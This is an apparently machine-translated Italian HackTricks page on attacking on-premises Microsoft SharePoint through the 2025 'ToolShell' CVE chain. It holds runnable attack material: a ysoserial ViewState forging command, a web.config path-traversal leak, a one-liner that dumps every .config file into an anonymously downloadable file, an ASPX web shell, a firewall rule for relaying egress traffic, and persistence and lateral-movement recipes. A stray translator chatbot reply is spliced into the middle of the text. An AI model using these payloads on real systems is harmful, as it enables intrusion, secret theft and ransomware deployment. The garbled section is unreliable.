Microsoft SharePoint – Pentesting & Exploitation

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Microsoft SharePoint (on-premises) è basato su ASP.NET/IIS. Di conseguenza la maggior parte della classica web attack surface (ViewState, Web.Config, web shells, etc.) è presente, ma SharePoint include anche centinaia di pagine ASPX proprietarie e web services che ampliano drasticamente la attack surface esposta. Questa pagina raccoglie trucchi pratici per enumerate, exploit e persist all’interno di ambienti SharePoint, con enfasi sulla exploit chain del 2025 divulgata da Unit42 (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. Catena di exploit 2025 (nota anche come “ToolShell”)

2.1 CVE-2025-49704 – Code Injection su ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> consente di iniettare codice Server-Side Include arbitrario nella pagina che viene poi compilato da ASP.NET. Un attacker può incorporare C# che esegue Process.Start() e depositare un ViewState malevolo.

2.2 CVE-2025-49706 – Improper Authentication Bypass

La stessa pagina si fida dell’header X-Forms_BaseUrl per determinare il contesto del sito. Puntandolo su /_layouts/15/, l’MFA/SSO applicata al sito radice può essere bypassata senza autenticazione.

2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE

Una volta che l’attacker controlla un gadget in ToolPane.aspx, può postare un valore __VIEWSTATE unsigned (o MAC-only) che innesca la deserializzazione .NET all’interno di w3wp.exe portando all’esecuzione di codice.

Se la firma è abilitata, rubare la ValidationKey/DecryptionKey da qualsiasi web.config (vedi 2.4) e forgiare il payload con ysoserial.net o ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure

L’invio di un parametro Source manipolato a ToolPane.aspx (es. ../../../../web.config) restituisce il file bersaglio, consentendo leak di:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ forge ViewState / ASPXAUTH cookies
  • connection strings & secrets.

2.5 ToolShell workflow osservato nelle intrusioni di Ink Dragon

Check Point ha mappato come Ink Dragon abbia reso operativa la catena ToolShell mesi prima che Microsoft rilasciasse le correzioni:

  • Header spoofing for auth bypass – l’attore invia POST a /_layouts/15/ToolPane.aspx con Referer: https://<victim>/_layouts/15/ più un finto X-Forms_BaseUrl. Quegli header convincono SharePoint che la richiesta provenga da un layout attendibile e saltano completamente l’autenticazione front-door (CVE-2025-49706/CVE-2025-53771).
  • Serialized gadget in the same request – il body include dati ViewState/ToolPart controllati dall’attaccante che raggiungono il formatter lato server vulnerabile (CVE-2025-49704/CVE-2025-53770). Il payload è di solito una catena ysoserial.net che viene eseguita all’interno di w3wp.exe senza mai toccare il disco.
  • Internet-scale scanning – la telemetry di luglio 2025 mostra che hanno enumerato ogni endpoint raggiungibile /_layouts/15/ToolPane.aspx e riprodotto un dizionario di coppie <machineKey> leaked. Qualsiasi sito che abbia copiato un sample validationKey dalla documentazione può essere compromesso anche se altrimenti completamente patchato (vedi la pagina ViewState per il workflow di firma).
  • Immediate staging – lo sfruttamento riuscito deposita un loader o PowerShell stager che: (1) estrae ogni web.config, (2) pianta una ASPX webshell per accesso di contingenza, e (3) pianifica una Potato privesc locale per evadere il worker IIS.

3. Post-exploitation recipes observed in the wild

3.1 Exfiltrate every .config file (variation-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Il file risultante debug_dev.js può essere scaricato in modo anonimo e contiene tutte le configurazioni sensibili.

3.2 Deploy a Base64-encoded ASPX web shell (variation-2)

powershell.exe -EncodedCommand <base64>

Esempio di payload decodificato (abbreviato):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Sembra che il messaggio sia incompleto — hai inviato solo “Written to:”. Per favore incolla il contenuto del file src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md che vuoi tradurre (o conferma che devo tradurre l’intero file). Tradurrò il testo in inglese rilevante in italiano mantenendo intatti codice, link, tag e percorsi come richiesto.

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

La shell espone endpoint per leggere / ruotare le chiavi macchina che permette di falsificare i cookie ViewState e ASPXAUTH nella farm.

3.3 Variante offuscata (variation-3)

Stessa shell ma:

  • posizionata sotto ...\15\TEMPLATE\LAYOUTS\
  • nomi delle variabili ridotti a singole lettere
  • Thread.Sleep(<ms>) aggiunto per sandbox-evasion & timing-based AV bypass.

3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (osservati 2025-2026)

Indagini recenti di incident-response (Unit42 “Project AK47”) mostrano come gli attaccanti sfruttino la catena ToolShell after initial RCE per distribuire un impianto C2 a canale doppio e ransomware negli ambienti SharePoint:

AK47C2 – dnsclient variante

  • DNS server hard-coded: 10.7.66.10 che comunica con il dominio autoritativo update.updatemicfosoft.com.
  • I messaggi sono oggetti JSON XOR-encrypted con la chiave statica VHBD@H, hex-encoded e incorporati come sub-domain labels.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Le query lunghe vengono frammentate e prefissate con s, poi riassemblate lato server.
  • Il server risponde in record TXT che trasportano lo stesso schema XOR/hex:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • La versione 202504 ha introdotto un formato semplificato <COMMAND>::<SESSION_KEY> e marcatori di chunk 1, 2, a.

AK47C2 – httpclient variante

  • Riusa la stessa routine JSON & XOR ma invia il blob hex nel HTTP POST body tramite libcurl (CURLOPT_POSTFIELDS, ecc.).
  • Stesso workflow task/result che consente:
    • Esecuzione arbitraria di comandi shell.
    • Intervallo di sleep dinamico e istruzioni di kill-switch.

X2ANYLOCK ransomware

  • Payload C++ a 64-bit caricato tramite DLL side-loading (vedi sotto).
  • Usa AES-CBC per i dati dei file + RSA-2048 per avvolgere la chiave AES, poi aggiunge l’estensione .x2anylock.
  • Cripta ricorsivamente le unità locali e le SMB shares scoperte; salta i percorsi di sistema.
  • Deposita una nota in clear-text How to decrypt my data.txt che incorpora un Tox ID statico per le negoziazioni.
  • Contiene un kill-switch interno:
if (file_mod_time >= "2026-06-06") exit(0);

DLL side-loading chain

  1. L’attaccante scrive dllhijacked.dll/My7zdllhijacked.dll accanto a un legittimo 7z.exe.
  2. w3wp.exe avviato da SharePoint lancia 7z.exe, che carica la DLL malevola a causa dell’ordine di ricerca di Windows, invocando l’entrypoint del ransomware in memoria.
  3. Un loader LockBit separato osservato (bbb.msiclink_x86.execlink_dll_x86.dll) decritta shell-code ed esegue DLL hollowing in d3dl1.dll per eseguire LockBit 3.0.

[!INFO] Lo stesso statico Tox ID trovato in X2ANYLOCK appare in leaked LockBit databases, suggerendo sovrapposizione tra affiliati.

3.5 Trasformare il loot di SharePoint in movimento laterale

  • Decriptare ogni sezione protetta – una volta presenti nel web tier, abusare di aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri (o -px "appSettings") per scaricare i segreti in clear-text nascosti dietro <connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">. Ink Dragon ha ripetutamente raccolto login SQL, relay SMTP e credenziali di servizio custom in questo modo.
  • Riciclare account app-pool across farms – molte aziende riutilizzano lo stesso account di dominio per IIS APPPOOL\SharePoint su ogni front-end. Dopo aver decriptato i blocchi identity impersonate="..." o letto ApplicationHost.config, testare la credenziale via SMB/RDP/WinRM su ogni server sibling. In diversi incidenti l’account era anche amministratore locale, permettendo psexec, sc create, o lo staging tramite scheduled-task senza innescare password sprays.
  • Abuse leaked <machineKey> values internally – anche se il perimetro internet viene patchato, riutilizzare lo stesso validationKey/decryptionKey permette lo sfruttamento laterale di ViewState tra zone SharePoint interne che si fidano l’una dell’altra.

3.6 Pattern di persistenza osservati nelle intrusioni del 2025

  • Scheduled tasks – viene creato un task one-shot chiamato SYSCHECK (o altri nomi a tema “health”) con /ru SYSTEM /sc once /st <hh:mm> per bootstrap del loader next-stage (comunemente un conhost.exe rinominato). Poiché viene eseguito una sola volta, la telemetry spesso lo perde a meno che l’XML storico del task non sia preservato.
  • Mascheramento dei servizi – servizi come WindowsTempUpdate, WaaSMaintainer, o MicrosoftTelemetryHost vengono installati via sc create puntando alla directory della triade di sideloading. I binari mantengono le loro firme originali AMD/Realtek/NVIDIA ma vengono rinominati per corrispondere ai componenti Windows; confrontare il nome su disco con il campo PE OriginalFileName è un rapido controllo di integrità.

3.7 Host firewall downgrades for relay traffic

Ink Dragon aggiunge routinariamente una regola outbound permissiva che si maschera da manutenzione di Defender in modo che il traffico ShadowPad/FinalDraft possa uscire su qualsiasi porta:

netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any

Poiché la regola è creata localmente (non tramite GPO) e utilizza il binario legittimo di Defender come program=, la maggior parte delle baseline SOC la ignora, eppure apre un egress Any ➜ Any.


Trucchi correlati

  • IIS post-exploitation & web.config abuse:

IIS - Internet Information Services

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks